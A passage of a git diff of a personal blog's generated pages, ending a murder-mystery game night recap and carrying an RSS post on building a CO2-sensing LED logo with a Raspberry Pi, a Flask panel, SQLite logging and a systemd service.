    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/family-tree/page/1/index.html b/public-clearnet/tags/family-tree/page/1/index.html new file mode 100644 index 0000000..41bfcb6 --- /dev/null +++ b/public-clearnet/tags/family-tree/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/family-tree/ + \ No newline at end of file diff --git a/public-clearnet/tags/flask/index.html b/public-clearnet/tags/flask/index.html new file mode 100644 index 0000000..b9615b2 --- /dev/null +++ b/public-clearnet/tags/flask/index.html @@ -0,0 +1,13 @@ +Flask | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/flask/index.xml b/public-clearnet/tags/flask/index.xml new file mode 100644 index 0000000..86cb8d1 --- /dev/null +++ b/public-clearnet/tags/flask/index.xml @@ -0,0 +1,400 @@ +Flask on AlipourIm journeyshttps://blog.alipour.eu/tags/flask/Recent content in Flask on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
